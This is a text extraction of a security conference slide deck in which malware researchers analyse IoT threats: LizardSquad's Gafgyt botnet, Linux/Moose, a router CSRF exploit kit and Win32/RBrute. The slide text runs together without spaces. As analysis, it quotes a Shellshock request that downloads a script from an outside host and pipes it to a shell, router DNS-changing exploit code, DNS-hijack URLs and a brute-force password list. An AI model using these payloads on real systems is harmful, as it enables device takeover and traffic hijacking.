Top Banner
.
97

IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Dec 25, 2019

Download

Documents

dariahiddleston
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

.

Page 2: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

IoTorInternetof{Things,Threats}

Page 3: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Thomas(@nyx__o)MalwareResearcheratESETCTFloverOpensourcecontributor

Page 4: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Olivier(@obilodeau)SecurityResearcheratGoSecurePreviouslyMalwareResearcheratESETInfoseclectureratETSUniversityinMontrealInfosecdeveloper,networkadmin,linuxsystemadmin

Co-founderMontrehack(hands-onsecurityworkshops)FounderNorthSecHackerJeopardy

Page 5: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

AgendaAboutIOTLizardSquadLinux/MooseExploitKitWin32/RBruteConclusion

Page 6: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 7: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 8: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 9: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 10: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 11: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

WhyItMatters?HardtodetectHardtoremediateHardtofixLowhangingfruitforbadguys

Page 12: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ARealThreatSeveralcasesdisclosedinthelasttwoyearsAlotofsame-oldbackgroundnoise(DDoSer)Thingsareonlygettingworse

Page 13: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 14: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 15: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 16: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 17: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 18: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 19: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Wait,isIoTmalwarereallyaboutthings?

Page 20: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

No.Notyet.No.Notyet.

Page 21: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 22: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 23: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Sowhatkindofmalwarecanwefindonsuchinsecuredevices?

Page 24: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

LizardSquadLizardSquad

Page 25: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 26: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

WhoareLizardSquad?BlackhathackinggroupLotsofDistributedDenialofService(DDoS)DDoSPlayStationNetworkandXboxliveinChristmas2014BombthreatsDDoSforhire(LizardStresser)

Page 27: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

DesCYBER-DesCYBER-CHENAPANS!CHENAPANS!

Page 28: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 29: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

TheMalwareLinux/GafgytLinux/Powbot,Linux/Aidra,Kaiten,…Probablyothers,assourceispublic

Page 30: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

CaracteristicsTelnetscannerFlooding:UDP,TCP,JunkandHold

Page 31: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

SomeServerCode"*****************************************""*WELCOMETOTHEBALLPIT*""*Nowwith*refrigerator*support*""*****************************************"

Page 32: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

AttackVectorsShellshockSSHcredentialsbrute-forceTelnetcredentialsbrute-force

Page 33: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ExempleofShellshockAttempt

GET/cgi-bin/authLogin.cgiHTTP/1.1Host:127.0.0.1Cache-Control:no-cacheConnection:Keep-AlivePragma:no-cacheUser-Agent:(){goo;};wget-qO-http://o.kei.su/qn|sh>/dev/null2>&1&

Page 34: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

OtherVariantsHTTPSsupportCloudFlareprotectionbypass

Page 35: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 36: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Sophisticated?LizardStresserdatabasewasleakedPasswordsinplaintext…

Page 37: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

IRCCommandandControl

-------Daychangedto08/25/15-------09:32-!-Thereare0usersand2085invisibleon1servers09:32-!-42unknownconnection(s)09:32-!-3channelsformed09:32-!-Ihave2085clientsand0servers09:32-!-20852119Currentlocalusers2085,max211909:32-!-20852119Currentglobalusers2085,max2119

Page 38: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

BotMasters12:56-!-Topicfor#Fazzix:1k12:56-!-Topicsetbyvoid<>(WedAug1909:58:452015)12:56[Users#Fazzix]12:56[~void][~void_][@bob1k][@Fazzix][Myutro]·12:56-!-Irssi:#Fazzix:Totalof5nicks(4ops,0halfops,0voices,1normal)12:56-!-Channel#FazzixcreatedMonAug1703:11:29201512:56-!-Irssi:Jointo#Fazzixwassyncedin2secs

Page 39: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Linux/MooseLinux/Moose

Page 40: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Linux/MooseDiscoveredinNovember2014Thoroughlyanalyzedinearly2015PublishedareportinlateMay2015

Page 41: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

MooseDNAakaMalwaredescription

Hangtight,thisisarecap

Page 42: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Linux/Moose…Namedafterthestring"elan"presentinthemalware

executable

Page 43: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Elan…?

Page 44: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

TheLotusElan

Page 45: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ElánTheSlovakrockband(from1969andstillactive)

Page 46: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 47: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

NetworkCapabilitiesPivotthroughfirewallsHome-madeNATtraversalCustom-madeProxyserviceonlyavailabletoasetofwhitelistedIPaddresses

Remotelyconfiguredgenericnetworksniffer

Page 48: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 49: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

AttackVectorTelnetcredentialsbruteforceWordlistof304user/passentriessentbyserver

Page 50: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

CompromiseProtocol

Page 51: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Anti-AnalysisStaticallylinkedbinarystrippedofitsdebuggingsymbolsHardtoreproduceenvironmentrequiredformalwaretooperateMisleadingstrings(getcool.com)

Page 52: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 53: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

MooseHerdingTheMalwareOperation

Page 54: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ViaC&CConfigurationNetworksnifferwasusedtostealHTTPCookiesTwitter:twll,twidFacebook:c_userInstagram:ds_user_idGoogle:SAPISID,APISIDGooglePlay/Android:LAY_ACTIVE_ACCOUNTYoutube:LOGIN_INFO

Page 55: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ViaProxyUsageAnalysisNatureoftrafficProtocolTargetedsocialnetworks

Page 56: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 57: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 58: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

AnExample

Page 59: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

AnExample(cont.)

Page 60: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

AnExample(cont.)

Page 61: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

AnExample(cont.)

Page 62: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Anti-TrackingProxyaccessisprotectedbyanIP-basedWhitelistSowecan’tusetheproxyservicetoevaluatemalwarepopulationBlindbecauseofHTTPSenforcedonsocialnetworks

Page 63: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 64: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

AStrangeAnimalnotintheDDoSorbitcoinminingbusinessnox86variantfoundcontrolledbyasinglegroupofactors

Page 65: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Status

Page 66: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

WhitepaperImpactFewweeksafterthepublicationtheC&CserverswentdarkAfterareboot,allaffecteddevicesshouldbecleanedButvictimscompromisedviaweakcredentials,sotheycanalwaysreinfect

Page 67: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Aliveordead?

Page 68: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Yay!Except…

Page 69: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Linux/MooseUpdateNewsampleinSeptemberNewproxyserviceport(20012)NewC&CselectionalgorithmFewdifferencesStillunderscrutiny

Page 70: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 71: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 72: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ExploitKitTargetingExploitKitTargetingRoutersRouters

Page 73: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ExploitKitDefinitionAutomateexploitationTargetsbrowsersCommonexploitsareAdobeandJava

Page 74: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

source:Malwarebytes

Page 75: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ExploitKitinAction

Page 76: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ExploitKitinAction(cont.)

Cross-SiteRequestForgery(CSRF)Usesdefaultcredential(HTTP)ChangesprimaryDomainNameSystem(DNS)

Page 77: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ExploitKitCSRF<html><head><scripttype="text/javascript"src<body><iframeid="iframe"sandbox="allow-same-origin"<scriptlanguage="javascript">

Page 78: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ExploitKitHow-Tofunctione_belkin(ip){varmethod="POST";varurl="";vardata="";url="http://"+ip+"/cgi-bin/login.exe?pws=admin"exp(url,"","GET");url="http://"+ip+"/cgi-bin/setup_dns.exe";data="dns1_1="+pDNS.split('.')[0]+"&dns1_2="exp(url,data,method);}

Page 79: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ExploitKitcontinuallyimprovedObfuscationExploitsforCVEs

Page 80: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ExploitKit-CVECVE-2015-1187D-LinkDIR-636LRemoteCommandInjectionIncorrectAuthentication

Page 81: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

RecapExploitKitChangeDNSFileless

Page 82: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

WhatCanTheyDo?UniversalXSSonallHTTPsitesfetchingJavascriptona3rdpartydomainPhishingAdfraud

Page 83: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

YouSaidAdfraud?InjectionviaGoogleanalyticsdomainhijackingJavascriptrunsincontextofeverypage

Page 84: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ExempleofGoogleAnalyticsSubstitution'adcash':function(){varadcash=document.createElement('script'adcash.type='text/javascript';adcash.src='http://www.adcash.com/script/java.php?option=rotateur&r=274944'document.body.appendChild(adcash);},

Page 85: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce
Page 86: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Win32/RBrute(cont.)Triestofindadministrationwebpages(IP)ScanandreportRoutermodelisextractedfromtherealmattributeoftheHTTPauthentication

Page 87: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Win32/RBruteTargets$stringsrbrute.exe[...]TD-W8901GTD-W8901GBTD-W8951NDTD-W8961NDTD-8840TTD-W8961NDTD-8816TD-8817TD-W8151NTD-W8101GZXDSL831CIIZXV10W300[...]DSL-2520UDSL-2600UDSLrouterTD-W8901GTD-W8901G3.0TD-W8901GBTD-W8951NDTD-W8961ND

Page 88: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Win32/RBruteBruteforceLogins:admin,support,root&AdministratorPasswordlistretrievedfromtheCnC

<emptystring>1111111234512345612345678abc123adminAdministratorconsumerdragongizmodoiqrquksmletmeinlifehackmonkeypasswordqwertyrootsoporteETB2006support

Page 89: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Win32/RBruteChangingDNS

http://<router_IP>/&dnsserver=<malicious_DNS>&dnsserver2=8.8.8.8&Save=Savehttp://<router_IP>/dnscfg.cgi?dnsPrimary=<malicious_DNS>http://<router_IP>/Enable_DNSFollowing=1&dnsPrimary=

Page 90: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Win32/RBruteNextStepSimpleredirectiontofakeChromeinstaller(facebookorgoogledomains)Install(useractionrequired)ChangeprimaryDNSonthecomputer(viakeyregistry)

HKLM/SYSTEM/ControlSet001/Services/Tcpip/Parameters/Interfaces/{networkinterfaceUUID}/NameServer

Page 91: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

WhyreinfectsomeonebyRBruteandnotSality?

Page 92: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Win32/RBruteInACoffeeShop

InfecteduserInfectedrouterEveryoneisinfected

Page 93: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

RBruteandSality

Page 94: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

ConclusionEmbeddedmalware

NotyetcomplexToolsandprocessesneedtocatchupalowhangingfruitPreventionsimple

Page 95: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Thanks!Thankyou!SpecialthankstoESETCanadaResearchTeam

Page 96: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Questions?Questions?

@obilodeau@nyx__o

Page 97: IoT or Internet of - gosecure.github.io · only available to a set of whitelisted IP addresses Remotely configured generic network sniffer. Attack Vector Telnet credentials bruteforce

Referenceshttp://www.welivesecurity.com/wp-content/uploads/2015/05/Dissecting-LinuxMoose.pdfhttp://malware.dontneedcoffee.com/2015/05/an-exploit-kit-dedicated-to-csrf.htmlhttps://gist.github.com/josephwegner/1d20f1ce1d59b61172e1http://www.welivesecurity.com/2014/04/02/win32sality-newest-component-a-routers-primary-dns-changer-named-win32rbrute/

http://www.welivesecurity.com/wp-content/uploads/2015/05/Dissecting-LinuxMoose.pdf
http://malware.dontneedcoffee.com/2015/05/an-exploit-kit-dedicated-to-csrf.html
https://gist.github.com/josephwegner/1d20f1ce1d59b61172e1
http://www.welivesecurity.com/2014/04/02/win32sality-newest-component-a-routers-primary-dns-changer-named-win32rbrute/

Related Documents
Beyond attack trees: Attack and defense modeling with BDMPCracking _alternatives. OR. Password_attacks Bruteforce. AND. Social Engineering Success EmailEmail__traptrap_ _executionexecution

Beyond attack trees: Attack and defense modeling with...

Category: Documents
ICS/SCADA Attack Detection 101 · proto, non-whitelisted function codes, serial function code use on non-serial devices etc. Known ICS/SCADA malware. Signatures associated with known

ICS/SCADA Attack Detection 101 · proto, non-whitelisted...

Category: Documents
API Functions - Tottoli GSM API Functions Your server should get our server requests only from whitelisted IP addresses. In turn, ... identifiers imsi, iccid, ...

API Functions - Tottoli GSM API Functions Your server should...

Category: Documents
VMware Workspace ONE Launcher - VMware …Launcher profile to a limited set of whitelisted apps and customize the layout. Template Mode enables you to customize the entire user interface

VMware Workspace ONE Launcher - VMware …Launcher profile.....

Category: Documents
WSHowTo Eine wahre Bruteforce-Geschichte 2019-07-21...Verbindungen auf beide Server übernimmt ein HAProxy – ein Zusatzmodul in der PFSense, denn mein Router kann kein PortForwarding

WSHowTo Eine wahre Bruteforce-Geschichte...

Category: Documents
Offline bruteforce attack on wi fi protected setup

Offline bruteforce attack on wi fi protected setup

Category: Technology
Cloud Computing Security - josh.rootbrain.com Computing Security... · teknik lain mulai penyadapan, scanning, remote exploit, bruteforce dll juga masih bisa terjadi. Ancaman keamanan

Cloud Computing Security - josh.rootbrain.com Computing...

Category: Documents
Jednostavni Blockchain sustav u c++ · Hash funkcije su jednosmjerne funkcije, nemaju inverznu funkciju. Jedini način da se dobiju ulazni podaci hash funkcije iz izlaza je bruteforce

Jednostavni Blockchain sustav u c++ · Hash funkcije su...

Category: Documents
What Lies Beneath? Analyzing Automated SSH Bruteforce Attackspeople.scs.carleton.ca/~paulv/papers/passwords_full.pdf · What Lies Beneath? Analyzing Automated SSH Bruteforce Attacks

What Lies Beneath? Analyzing Automated SSH Bruteforce...

Category: Documents
Offline bruteforce attack on WiFi Protected Setup

Offline bruteforce attack on WiFi Protected Setup

Category: Technology
10.0.0 McAfee Data Loss Prevention Endpoint available for rule types ... Removable storage device rule with a whitelisted process ... 10 McAfee Data Loss Prevention Endpoint 10.0.0

10.0.0 McAfee Data Loss Prevention Endpoint available for...

Category: Documents
Perancangan Sistem Pencegahan Serangan Bruteforce pada ...€¦ · dan kebutuhan, menuntut meningkatnya kualitas keamanan jaringan. Ancaman ... jaringan yang menggunakan sistem keamanan

Perancangan Sistem Pencegahan Serangan Bruteforce pada...

Category: Documents